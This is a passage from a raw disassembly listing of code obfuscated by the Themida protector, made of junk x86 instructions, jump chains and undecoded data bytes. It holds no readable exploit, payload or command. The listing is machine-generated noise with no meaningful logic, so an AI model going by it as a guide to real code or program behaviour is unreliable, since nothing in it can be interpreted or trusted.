edx, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp mov eax, ebx mov ebx, [esp] add esp, 4 shl eax, cl push 6A7Eh mov [esp], esi jmp loc_57181A ; --------------------------------------------------------------------------- loc_5633F7: ; CODE XREF: Themida_:00571DB6j add edi, 5B97AE9h jmp loc_56F9D1 ; --------------------------------------------------------------------------- dw 6668h dd 89000066h, 0E2892414h, 3015BD55h, 0AFE95373h, 0BB00009Fh dd 655B651Ah, 2D5BD829h, 3C2B7938h, 0E869E955h, 0E5890000h dd 4C581h, 0ED830000h, 242C8702h, 6FD8E95Ch, 48F0000h dd 24248B24h, 3E55E9h, 0D5C38100h, 0E92E3322h, 0FFFFE209h ; --------------------------------------------------------------------------- loc_563454: ; CODE XREF: Themida_:00569BA1j add edx, ebx add edx, 59596094h pop ebx sub edx, 4 xchg edx, [esp] jmp loc_574EFE ; --------------------------------------------------------------------------- db 89h dd 48153D3h, 2F4CEB24h, 240C8B77h, 4C481h, 0E9810000h dd 772F4CEBh, 83241C8Bh, 0F75A04C4h, 16E981D9h, 0E906F031h dd 64D7h ; --------------------------------------------------------------------------- loc_563498: ; CODE XREF: Themida_:0056537Ej or eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5752F2 ; --------------------------------------------------------------------------- aBsss db 'BSéSÇ',0 dw 8100h dd 4ECh, 242C8900h, 0DDE9E589h, 10000D8h, 575E5BDAh, 2BFh dd 0ABEA8100h, 8106781Bh, 0F43FE8EAh, 81FA0175h, 0F43FE8C2h dd 0ABC28175h, 5F06781Bh, 7831E9h, 6873B200h, 59Dh, 50241C89h dd 0C2DBE9h, 58C60900h, 565AF681h, 0DEF74107h, 8107E6C1h dd 0D00174F6h, 5EF02923h, 81242C8Bh, 4C4h, 8743E900h, 0BD550000h dd 6052475Fh, 352DF581h, 0EB8907CBh, 8DD8E95Dh, 89500000h dd 0CF3AE9E0h, 3C890000h, 52E78924h, 0D316850h, 0AFE900E4h dd 89000005h, 5B54241Ch, 0FFE3E0E9h, 81D2F7FFh, 83500ECAh dd 8BE5664h, 81766008h, 461FCFC6h, 62D7E954h, 57550000h dd 3F6FBA68h, 37E95F57h, 89000050h, 2EE92414h, 1000055h dd 242C8BEBh, 4C481h, 5DE90000h, 59000039h, 152DBD55h dd 0B9517BA7h, 364F5AEEh, 0F307E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5635A6: ; CODE XREF: Themida_:00565223j push small word ptr [eax] jmp loc_570AA4 ; --------------------------------------------------------------------------- dw 5F54h dd 4C781h, 0C7830000h, 0F639E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5635BE: ; CODE XREF: Themida_:0056B572j pop ebp push esi mov esi, 58C7196Dh or ebp, esi mov esi, [esp] add esp, 4 push eax mov eax, 21E76B1Eh neg eax sub eax, 46305BDEh not eax sub eax, 0ED208710h sub ebp, eax pop eax sub edx, 29762EA0h add edx, ebp jmp loc_566431 ; --------------------------------------------------------------------------- db 59h, 53h, 0BBh dd 4, 27FC181h, 0D9016D94h, 27FE981h, 835B6D94h, 0C8704C1h dd 0D16DE924h, 54520000h, 413EE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_56361A: ; CODE XREF: Themida_:00573B44j mov [esp], edx mov eax, [esp] add esp, 4 jmp loc_56906B ; --------------------------------------------------------------------------- db 8Bh dd 0E9F72424h, 445568h, 24148900h, 60E99C50h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56363F: ; CODE XREF: Themida_:0056EE12j mov ebp, 7D9F2493h or ebp, 9AD2F7Ch and ebp, 623439FDh jmp loc_56011F ; --------------------------------------------------------------------------- db 0F6h, 0D5h, 88h dd 865966E8h, 128A68C1h, 5BE90000h, 54000078h, 4C6815Eh dd 83000000h, 5D6804C6h, 8900002Eh, 74FF2434h, 0D7E90424h dd 5900003Dh, 2DA2C281h, 0F742576Bh, 88F281DAh, 81654C34h dd 806F39F2h, 0E9D701C2h, 4EFEh, 8904C483h, 0EB315AD5h dd 10A4DE9h db 0 ; --------------------------------------------------------------------------- loc_5636AD: ; CODE XREF: Themida_:0056E592j pop ebx jmp loc_5621C6 ; --------------------------------------------------------------------------- loc_5636B3: ; CODE XREF: Themida_:00567E86j add esp, 4 add esp, 4 and eax, ebx push dword ptr [esp] push dword ptr [esp] jmp loc_56AFB5 ; --------------------------------------------------------------------------- dd 727DCB81h, 0EB811B9Ch, 672B6B14h, 7782EB81h, 814333D0h dd 0D95AC2EBh, 0E9D93182h, 9C01h, 81E18951h, 4C1h, 4BD5500h dd 81000000h, 7B6DDEE9h, 81E9292Eh, 7B6DDEC1h, 0FF515D2Eh dd 0E9042474h, 77CAh ; --------------------------------------------------------------------------- loc_563714: ; CODE XREF: Themida_:0056546Dj mov dx, [esp] jmp loc_56ED53 ; --------------------------------------------------------------------------- aI4Hw db '‰4$hW',0Bh,0 dd 24048900h, 6E4EBF57h, 48E910C2h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563733: ; CODE XREF: Themida_:0056A849j mov ecx, [esp] add esp, 4 add al, bh push dword ptr [esp] pop ebx jmp loc_5655A0 ; --------------------------------------------------------------------------- dd 0CAFCF181h, 0CE317112h, 0B381E959h, 0C1810000h, 4, 8704C183h dd 67E9240Ch, 810000F5h, 48503CF7h, 5FF93157h, 8959CD31h dd 44815DEBh, 480424h, 5C2971E3h, 6C810424h, 480424h, 8DE971E3h dd 290000A0h, 1740E9CDh, 1C330001h, 24248B24h, 0D904B604h dd 67B1E9h, 4EC8300h, 81242489h, 42404h, 34FF0000h, 2434FF24h dd 4C4815Ah, 0E9000000h, 0FFFFEF71h, 0FE89C789h, 0F9E9585Fh dd 10000B4h, 2E95BDEh, 57000063h, 2B51E2BFh, 5F64E935h dd 0EA310000h, 0FFE2D2E9h, 3198B9FFh, 4C29767Eh, 0FF590424h dd 0C8B2434h, 4C48324h, 81E38953h, 4C3h, 4C38300h, 0E9241C87h dd 11244h, 0C281C201h, 6B1D33D1h, 1E50E9h db 0 ; --------------------------------------------------------------------------- loc_563819: ; CODE XREF: Themida_:00569D5Aj push ebp mov ebp, 1C046405h jmp loc_560DE7 ; --------------------------------------------------------------------------- loc_563824: ; CODE XREF: Themida_:0056C86Dj add esp, 4 jmp loc_56EB42 ; --------------------------------------------------------------------------- aQpCS db 'QP´—µ$é°Ù',0 db 0 ; --------------------------------------------------------------------------- loc_563837: ; CODE XREF: Themida_:00563CEFj pop eax and eax, ebp mov ebp, [esp] jmp loc_56B11B ; --------------------------------------------------------------------------- aYso db 'YéoÙ',0 align 4 dd 0E9240C87h, 5923h ; --------------------------------------------------------------------------- loc_563850: ; CODE XREF: Themida_:00563165j xor eax, 523E22E8h dec eax shr eax, 5 add eax, 0FC1850ACh add esi, eax pop eax jmp loc_56FB34 ; --------------------------------------------------------------------------- dw 6866h dd 89667181h, 0E7B42404h, 2864E9h db 0 ; --------------------------------------------------------------------------- loc_563875: ; CODE XREF: Themida_:005608DEj mov edx, 4 mov edi, edx jmp loc_569DC3 ; --------------------------------------------------------------------------- db 58h, 56h, 0E9h dd 0FFFFF2AEh ; --------------------------------------------------------------------------- loc_563888: ; CODE XREF: Themida_:0056714Dj mov eax, esp add eax, 4 add eax, 4 jmp loc_573735 ; --------------------------------------------------------------------------- db 50h dd 751C74B8h, 77054850h, 0F7715F4Eh, 6C4BE9D8h, 0F660000h dd 6866CCB6h, 896630F1h, 0F66240Ch, 22E9C8B6h, 5200002Ah dd 5919B850h, 1F2D62D6h, 0D5FE445h, 0BA61946h, 4F2DD0F7h dd 89F1B56Eh, 0D70158C2h, 0E924148Bh, 6598h ; --------------------------------------------------------------------------- loc_5638E4: ; CODE XREF: Themida_:00574E94j sub esp, 4 jmp loc_56CE4E ; --------------------------------------------------------------------------- loc_5638EC: ; CODE XREF: Themida_:0056BFC2j mov esp, [esp] jmp loc_56A35D ; --------------------------------------------------------------------------- dd 1209E981h, 0E981204Eh, 22082967h, 0C181E901h, 22082967h dd 2C6DE9h, 0C4835800h, 0B2E95604h, 0BF000017h, 0A1C648Bh dd 430CB951h, 0CF010421h, 5BD9E959h, 0DC880000h, 1024CE9h dd 2434FF00h, 5124148Bh, 0BB53E189h, 4, 7FF1E9h, 61E94700h db 7, 1, 0 ; --------------------------------------------------------------------------- loc_56394B: ; CODE XREF: Themida_:0056F9BFj pop edi add esi, 4 xor esi, [esp] jmp loc_56AA15 ; --------------------------------------------------------------------------- loc_56395A: ; CODE XREF: Themida_:005710BEj mov edx, [esp] add esp, 4 push esi xor dword ptr [esp], 20D24751h mov ecx, [esp] jmp loc_571C80 ; --------------------------------------------------------------------------- db 81h dd 132928F5h, 7E5C144h, 736EC581h, 81E91A9Bh, 520000DAh dd 51E93DB2h, 68FFFFDEh, 6BE34431h, 5552515Eh, 511F39BDh dd 0E4BFE97Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639A2: ; CODE XREF: Themida_:0056F597j push esi mov esi, ecx mov edx, esi pop esi push dword ptr [esp] mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_566873 ; --------------------------------------------------------------------------- loc_5639CA: ; CODE XREF: Themida_:00573504j xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], esi push 63946F14h pop esi jmp loc_5723CB ; --------------------------------------------------------------------------- loc_5639E7: ; CODE XREF: Themida_:0056568Ej add esp, 4 add esp, 4 add eax, 4 push edi mov edi, 4 jmp loc_56A5A9 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 5 dd 155B7693h, 2348C181h, 0C1016770h, 2348E981h, 0E9586770h dd 57CFh, 0E4F2805Bh, 0CA93E9h, 243C8B00h, 2B8CE9h, 6023BE00h dd 0F001186Fh, 0BBB2D5Eh, 0AFE95A47h, 5800010Bh, 8158C529h dd 3536E6EAh, 81EA0142h, 3536E6C2h, 0E9555D42h, 21D6h dd 0FFC546E9h, 0E9C789FFh, 217Fh, 0E39CE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_563A66: ; CODE XREF: Themida_:005650C4j shl esi, 3 jmp loc_56AFF2 ; --------------------------------------------------------------------------- dw 3C87h dd 3C895C24h, 2474FF24h, 3EE95F04h, 830000DBh, 0C8904ECh dd 4FA1E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563A8A: ; CODE XREF: Themida_:0056AC24j add edi, 4 push edx mov edx, 4 add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp neg edi add edi, 7C575615h jmp loc_569E0A ; --------------------------------------------------------------------------- dd 0BA696C2Dh, 4FDB053Bh, 1C8B54C6h, 4C48124h, 5000000h dd 14985F36h, 8B2434FFh, 0C481240Ch, 4, 6417E9h db 0 ; --------------------------------------------------------------------------- loc_563AD9: ; CODE XREF: Themida_:005722C3j pop esi jmp loc_56F8BC ; --------------------------------------------------------------------------- byte_563ADF db 81h ; DATA XREF: Themida_:0055FDE8o dd 4ECh, 70266800h, 1C890000h, 0D6AFE924h, 15A0000h, 0DC3DE9E8h dd 0E9580000h, 0A325h ; --------------------------------------------------------------------------- loc_563B00: ; CODE XREF: Themida_:00570229j mov ebx, 4 and ecx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push edi push esp mov edi, [esp] add esp, 4 push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx mov edx, 4 push edx mov edx, 36B230CBh jmp loc_574751 ; --------------------------------------------------------------------------- aSnn db '\éN',0 align 4 dd 8124048Fh, 42404h, 34FF0000h, 0C6D8E924h, 8F5A0000h dd 665C2404h, 0E9240C8Bh, 485Ch, 0E902EDC0h, 4D34h ; --------------------------------------------------------------------------- loc_563B6C: ; CODE XREF: Themida_:0056877Bj mov [esp], edi push esp jmp loc_56F4B3 ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 87000000h, 248B240Ch, 24248924h, 4240481h, 59000000h dd 4C181h, 0BF570000h, 27125A81h, 1016E9h, 915B900h, 0CB0156E4h dd 2AD1E959h, 0B9510000h, 1667D31Bh, 5259CD29h, 0D389EA89h dd 0E9435D5Ah, 1E89h, 4BBh, 0E9D90100h, 278h, 8904EC83h dd 4BD242Ch, 1000000h, 242C8BE9h, 8466E9h, 54E95700h, 810000C9h dd 4C7h, 4EF8100h, 33000000h, 73E9243Ch, 83000010h, 0D4E904C4h dd 8B0000C0h, 9BE9243Ch db 89h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C0B: ; CODE XREF: Themida_:00562248j pop ebp jmp loc_56635B ; --------------------------------------------------------------------------- db 0BBh, 8Ch, 42h dd 0C381572Ch, 6A341484h, 1C381h, 44E90000h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563C27: ; CODE XREF: Themida_:00567C53j add ecx, edi jmp loc_573265 ; --------------------------------------------------------------------------- dw 4158h dd 21DCE981h, 0E981628Bh, 7F164B63h, 0FBF9F181h, 0CB2941A7h dd 81240C8Bh, 4C4h, 9FEB8100h, 68030E58h, 4FEDh, 0E9240489h dd 0FFFFC33Fh, 6440C581h, 0C5010CB5h, 1012BE9h db 0 ; --------------------------------------------------------------------------- loc_563C6D: ; CODE XREF: Themida_:0056DFF4j pop esp push edx mov edx, 1 sub ecx, 6C272A13h jmp loc_56DDAE ; --------------------------------------------------------------------------- loc_563C7F: ; CODE XREF: Themida_:0056E531j sub ch, 48h add al, ch push dword ptr [esp] pop ecx add esp, 4 push ecx jmp loc_5662F0 ; --------------------------------------------------------------------------- dd 4C3815Bh, 83000000h, 1C8704EBh, 4895C24h, 0B76CE924h dd 0FF560000h, 5E042474h, 5C24048Fh, 428BE9h, 52BF5700h dd 811CC046h, 4F35CCC7h, 0CF814F47h, 1C3E4A49h, 0B5EF8147h dd 14C0D43h, 68E95FFEh, 52000028h, 714BE9h db 0 ; --------------------------------------------------------------------------- loc_563CE1: ; CODE XREF: Themida_:0056EF1Dj add ebp, eax add ebp, 0D9861ADh sub ebp, 681E6541h jmp loc_563837 ; --------------------------------------------------------------------------- dd 104C483h, 90EF81CFh, 0FF115D0Bh, 56592434h, 0C681E689h dd 4, 4C681h, 34870000h, 3C335C24h, 243C3124h, 8B243C33h dd 8AE92424h, 8B000040h, 0C483242Ch, 0F3F58104h, 895C317Dh dd 242C8BEAh, 0FFF963E9h, 4BFFFh, 0F8010000h, 2B9515Fh dd 1000000h, 0EC6859C8h, 8900001Ch, 74FF2404h, 34FF0424h dd 2434FF24h, 4EC8158h, 89000000h, 0E0892404h, 1042E9h dd 4C48100h, 81000000h, 152ADBC2h, 81FA0112h, 152ADBEAh dd 0BD555F12h, 5DB51FD6h, 0FFCECCE9h, 7AE981FFh, 4130AB44h dd 392E181h, 0E1E96A61h, 8100005Bh, 42404h, 0E95F0000h dd 154Dh, 8246C81h, 6D49345Ch, 8244C29h, 0B4DDE9h, 89CB2900h dd 84E95BD9h, 55000029h, 5F3394BDh, 5DE9213Ch, 231168h dd 24348900h, 89238568h, 0F1215E4Ch, 7E1C15Eh, 4EC81h dd 1C890000h, 3171E924h, 0EA810000h, 7D5B0B81h, 8FBB5358h dd 0C14F3A71h, 1DE903EBh, 0F7000013h, 0DED935D0h, 0C731089Eh dd 903DE9h db 0 ; --------------------------------------------------------------------------- loc_563E19: ; CODE XREF: Themida_:00570FB2j mov ebx, 18E40CDDh jmp loc_571875 ; --------------------------------------------------------------------------- loc_563E23: ; CODE XREF: Themida_:0056E165j mov ebx, 5FD00626h xor ebx, 11D92503h neg ebx add ebx, 33F5F73h add ebx, 19890397h shr ebx, 3 jmp loc_57259C ; --------------------------------------------------------------------------- dd 74FF515Bh, 0E9590424h, 99DDh, 0ECE9C601h, 810000CFh dd 6C812BEEh, 0E5EE9CDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_563E62: ; CODE XREF: Themida_:00560E30j xor [esp], esi xor esi, [esp] pop esp push 6E63h mov [esp], eax jmp loc_55FF9F ; --------------------------------------------------------------------------- loc_563E76: ; CODE XREF: Themida_:0056644Cj xor [esp], edi xor edi, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push 7B48h mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi jmp loc_573CF7 ; --------------------------------------------------------------------------- dw 0F268h dd 8B246E0Dh, 0C483242Ch, 5EDC104h, 3FB6CD81h, 0B9515193h dd 4FBD65BFh, 0BF57h, 0CF290000h, 815FF987h, 0A021A7F1h dd 0ACC98115h, 813E996Ch, 974486F1h, 0C6C18151h, 8151FC4Ch dd 0C86BA3F1h, 59CD2975h, 24348155h, 4E1B39F2h, 0F2F7815Fh dd 5D4E1B39h, 815FFB29h, 0BC15E0C3h, 5BDF89B8h, 875FFE01h dd 248B2434h, 242CD324h, 0C081E99Ch, 0C581FFFFh, 0BA4989CCh dd 815DEF01h, 4C7h, 243C8700h, 6A6D685Ch, 0C890000h, 962A6824h dd 0E9595C38h, 1910h ; --------------------------------------------------------------------------- loc_563F44: ; CODE XREF: Themida_:00561079j mov ecx, [esp] add esp, 4 push 71FBh mov [esp], eax mov eax, 4 add ebx, eax pop eax push 6C5Eh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_570BFB ; --------------------------------------------------------------------------- loc_563F70: ; CODE XREF: Themida_:00565844j push 3A7Ah mov [esp], ebx mov ebx, 4 add edx, ebx mov ebx, [esp] push edi jmp loc_566D34 ; --------------------------------------------------------------------------- loc_563F88: ; CODE XREF: Themida_:0056ABF5j xchg ebp, [esp] mov esp, [esp] and ebx, edi jmp loc_572D71 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 43354DE3h, 3A5DE904h db 2 dup(0) word_563FA2 dw 8B66h ; DATA XREF: Themida_:0055FD10o dd 89562404h, 4BB53E6h, 0E9000000h, 0FFFFEDA1h ; --------------------------------------------------------------------------- loc_563FB4: ; CODE XREF: Themida_:00567E2Cj shl edx, 1 push dword ptr [edi+24h] jmp loc_5727AC ; --------------------------------------------------------------------------- dw 38B9h dd 0C155885Bh, 0D1F702E9h, 0E981D1F7h, 0BAACB20Fh, 8159CA09h dd 0DE3DF7E2h, 0E9DAF746h, 4836h, 0F4CF781h, 0FA294B53h dd 29BB535Fh, 10E2D79h, 0EA815BDAh, 12FF2468h, 0C281CA01h dd 12FF2468h, 7929EA81h, 0C2810E2Dh, 1E9A0D33h, 240AC281h dd 19E95565h db 0F4h, 2 dup(0) byte_564017 db 66h ; DATA XREF: Themida_:0055FE18o dd 0E924048Bh, 7557h, 4C77BD55h, 0E9896EB3h, 81242C8Bh dd 4C4h, 59C83100h, 6AE9C789h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56403B: ; CODE XREF: Themida_:00570FF0j sub edx, eax pop eax xchg edx, [esp] pop esp mov [esp], ebx jmp loc_56E9B7 ; --------------------------------------------------------------------------- dw 0F001h dd offset dword_457444+35DA5h dd 2BE98100h, 2DC916E5h, 2883079Bh, 9B05C829h, 59288307h dd 0EFEBE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56406A: ; CODE XREF: Themida_:00572A23j xor bh, ah pop eax and dl, bh pop ebx add dl, 88h jmp loc_56C42E ; --------------------------------------------------------------------------- dd 315FFA89h, 0A599E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_564082: ; CODE XREF: Themida_:005736BAj mov [esp], ebx push eax jmp loc_571233 ; --------------------------------------------------------------------------- loc_56408B: ; CODE XREF: Themida_:005666B5j add edx, 73467F9Dh add edx, ebx sub edx, 73467F9Dh pop ebx sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edi, 6B496CACh shr edi, 5 push 3A40h mov [esp], ebp mov ebp, 141938FDh sub edi, ebp pop ebp shr edi, 7 shl edi, 4 xor edi, 0A9FEE349h add edx, edi pop edi add ebp, 3E323620h jmp loc_569CE4 ; --------------------------------------------------------------------------- loc_5640D6: ; CODE XREF: Themida_:0056FB2Fj neg edx neg edx sub edx, 0FFFFFFFFh add edx, 0DE76CF77h add esi, edx pop edx jmp loc_567FAC ; --------------------------------------------------------------------------- aUsq db '^Uéï½',0 align 2 loc_5640F2: ; CODE XREF: Themida_:00560AF2j jmp loc_55FF9F ; --------------------------------------------------------------------------- db 89h dd 39668E6h, 2C890000h, 4BD24h, 97E90000h db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56410B: ; CODE XREF: Themida_:00573602j mov eax, esp push edx jmp loc_564CDA ; --------------------------------------------------------------------------- loc_564113: ; CODE XREF: Themida_:00568838j shr ebp, 4 add ebp, 45185790h sub ebx, ebp pop ebp mov edi, ebx mov ebx, [esp] add esp, 4 add edx, edi pop edi dec edx push eax jmp loc_57255B ; --------------------------------------------------------------------------- aLSm@ db '‹,$éŒ@',0 align 4 loc_56413C: ; CODE XREF: Themida_:005704DAj add eax, 538F00CCh push ecx mov ecx, 1ECE33D2h add eax, ecx push dword ptr [esp] jmp loc_5743C8 ; --------------------------------------------------------------------------- aAsm db 'A錾',0 db 0 ; --------------------------------------------------------------------------- loc_564157: ; CODE XREF: Themida_:00564EB3j add edi, 4287A2Dh pop ebp jmp loc_571CDB ; --------------------------------------------------------------------------- loc_564163: ; CODE XREF: Themida_:00564781j and eax, esi push dword ptr [esp] push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebx mov ebx, esp push edx mov edx, 3A0C121Ah push esi mov esi, 64434909h jmp loc_56C4D7 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 368B68h, 24348900h, 4F3BBF57h, 0C7812906h, 0D6F9B0C9h dd 0E95FFE89h, 9B1Ah ; --------------------------------------------------------------------------- loc_5641A4: ; CODE XREF: Themida_:005609B0j pop ecx add esp, 4 push 1491h mov [esp], ecx push 1870h mov [esp], edx push ecx mov cl, bh mov dh, cl jmp loc_560DE1 ; --------------------------------------------------------------------------- aRpsj_ db 'RPé†_',0 align 4 dd 80ADF780h, 0C7800AF7h, 6EE78061h, 808CF780h, 0F90049F7h dd 6CA0E9h, 80C30000h, 5266E3C3h, 0C0B9B050h, 0C0FE03E0h dd 7343E9h, 81DBF700h, 4E521AEBh, 0EB834B54h, 0AFD1E901h dd 18680000h, 89000048h, 4BD242Ch, 1000000h, 0CD93E9EFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], esi mov esi, 4 add ebp, esi pop esi jmp loc_56D893 ; --------------------------------------------------------------------------- db 28h, 0DEh, 5Bh dd 280CEC80h, 0CC480F4h, 0C4EAE95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56424E: ; CODE XREF: Themida_:00573D09j add ecx, 348F715Dh jmp loc_56E34E ; --------------------------------------------------------------------------- db 89h, 0E2h, 51h dd 2E0C6AB9h, 81D1F70Ah, 0F20EAFE1h, 1DBE939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56426E: ; CODE XREF: Themida_:00564A6Cj mov eax, 4 sub dword ptr [esp+4], 7B562AD3h add [esp+4], eax add dword ptr [esp+4], 7B562AD3h pop eax pop ebx jmp loc_57051A ; --------------------------------------------------------------------------- dw 5866h dd 1C8BFE30h, 4EC8124h, 89000000h, 0E6892434h, 4C681h dd 0C6830000h, 4E0FE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5642AE: ; CODE XREF: Themida_:0056A603j xchg edx, [esp] jmp loc_571980 ; --------------------------------------------------------------------------- loc_5642B6: ; CODE XREF: Themida_:005749D9j add ebp, 4 push eax mov eax, 4 jmp loc_5690E0 ; --------------------------------------------------------------------------- db 55h dd 4831BB53h, 0DD8904C9h, 0FFC9B6E9h, 6559BEFFh, 0C78124B0h dd 18BF2857h, 0EF81F701h, 18BF2857h, 8324348Bh, 0BA5204C4h dd 8289A83Eh, 895AD729h, 243C8BF8h, 0FFDC9BE9h, 0DFE956FFh dd 81000094h, 8D2818F6h, 0BF574E25h, 41E0A2B5h, 815FFE01h dd 232158C5h, 2ED8127h, 81534F4Ah, 6198BC5h, 81F5010Bh dd 6198BEDh, 0F3E0E90Bh, 895C0000h, 0C6682404h, 0E9000044h dd 7F6Dh, 5C240487h, 205h, 24048700h, 2424D25Ch, 0BC45E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56435A: ; CODE XREF: Themida_:00574D6Dj sub ebp, 9EE41CBh jmp loc_56D76C ; --------------------------------------------------------------------------- db 0BFh, 0Fh, 4Bh dd 51E9650Ch, 80000034h, 0EB80A9C3h, 5BD82865h, 9E9F828h dd 0F70000CDh, 182DD0h, 23506B7h, 298CA1A9h, 0DDE958C5h dd 56000086h, 0C681E689h, 4, 4C681h, 34870000h, 9EE95C24h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5643AB: ; CODE XREF: Themida_:0056B4CDj xor [esp], eax xor eax, [esp] mov esp, [esp] push esi mov esi, 76676289h jmp loc_571F22 ; --------------------------------------------------------------------------- db 5Ch dd 582434FFh, 26CDE9h, 35E95B00h, 8100003Bh, 4C7h, 243C8700h dd 0DADCE95Ch, 22BFFFFFh, 11A9558h, 5E95FF8h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5643EB: ; CODE XREF: Themida_:00568F76j push ebp jmp loc_56AD8E ; --------------------------------------------------------------------------- db 5Ch, 81h, 0C1h dd 751A62D7h, 0D2E9F101h db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5643FF: ; CODE XREF: Themida_:0057196Fj mov esp, [esp] push 2413h mov [esp], edx push ebp mov ebp, 41E74596h shl ebp, 7 push 5306h mov [esp], esi mov esi, 7AE02531h xchg eax, esi not eax xchg eax, esi or esi, 0F121DCh xor esi, 0D873A913h push ebp mov ebp, 1FB0FAAh or ebp, 63190F47h jmp loc_5727E6 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0A987E9h, 9C18100h, 815FCE23h, 9E258AE9h, 59CA0191h dd 4C281h, 14870000h, 0CFE95C24h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564467: ; CODE XREF: Themida_:00560C86j push edx push ebp push 77F03990h pop ebp not ebp neg ebp jmp loc_56912E ; --------------------------------------------------------------------------- dd 0E991D0F7h, 167Eh ; --------------------------------------------------------------------------- loc_564480: ; CODE XREF: Themida_:0057326Bj push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp jmp loc_56A5FA ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 9E6EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5644A2: ; CODE XREF: Themida_:0056D77Ej add edx, 4 jmp loc_56E93C ; --------------------------------------------------------------------------- loc_5644AA: ; CODE XREF: Themida_:00564E17j mov ecx, 1CFB366Dh xor ebx, ecx jmp loc_5737B9 ; --------------------------------------------------------------------------- aIJ db '‰,$½J',0 dd 0B1E940F4h db 0DCh, 2 dup(0FFh) byte_5644C3 db 8Bh ; DATA XREF: Themida_:0055FD60o dd 1C68240Ch, 0E9000023h, 4AC7h, 81240C8Bh, 4C4h, 24048F00h dd 0F3F1E9h, 4C18100h, 50000000h, 250DFEB8h, 0F935480Eh dd 10E250Dh, 0C8758C1h, 0A0E95C24h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644FF: ; CODE XREF: Themida_:0056A6ABj pop ebp pop esi push edi jmp loc_56AE9E ; --------------------------------------------------------------------------- loc_564507: ; CODE XREF: Themida_:0057012Aj add eax, 2 xchg eax, [esp] jmp loc_56F6B2 ; --------------------------------------------------------------------------- dw 4C29h dd 0E9590424h, 0FFFFBA83h, 4246C81h, 5EDC7FDCh, 81241C8Bh dd 4C4h, 6494E900h, 0D400000h, 2C414068h, 0F4EF3548h, 0C101BF6Fh dd 0D581E9h db 0 byte_564545 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FCCCo db '$h³',0Dh,0 align 2 dw 1489h aSA db '$é',27h,'í',0 align 2 dw 79BBh dd 29BACC13h, 0D82959CBh, 8D8E95Bh db 1, 0 ; --------------------------------------------------------------------------- loc_564566: ; CODE XREF: Themida_:00565A44j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or eax, 32EC43BCh not eax jmp loc_56CB8C ; --------------------------------------------------------------------------- loc_564582: ; CODE XREF: Themida_:0056647Fj add edx, 4 push edi push edx push ebx mov ebx, 6C8316E0h jmp loc_5708A7 ; --------------------------------------------------------------------------- aBQZS db 'ÁqÏZµé$[',0 align 10h dd 50D1015Ah, 1250BB53h, 0C3813E5Eh, 1, 0EB81E3D1h, 7DED138Dh dd 0AF6AEB81h, 0D889A6A2h, 4449E9h, 0EA815A00h, 57472D9Fh dd 5AD68959h, 24FFE95Dh, 0F660000h, 55E9CCB6h, 33FFFFE4h dd 0A7E92404h, 0B90000CDh, 62BF4C29h, 815EF129h, 0FFFFFFC1h dd 0FF9BE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5645FA: ; CODE XREF: Themida_:0056E876j push 3684h mov [esp], edi push 0CBBD96D4h jmp loc_56D5C7 ; --------------------------------------------------------------------------- dd 240C8B66h, 3E0FE9h, 4C6FB900h, 0E1C14F29h, 0CEF18107h dd 490D9458h, 37D2E981h, 6BE943ACh, 58000101h, 8704C183h dd 9EE9240Ch db 50h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56463B: ; CODE XREF: Themida_:00568ED0j xor ecx, 1E04972h jmp loc_566271 ; --------------------------------------------------------------------------- dw 1487h aSap db '$\éíp',0 dw 0BF00h dd 44AB068Eh, 0FFD0DAE9h, 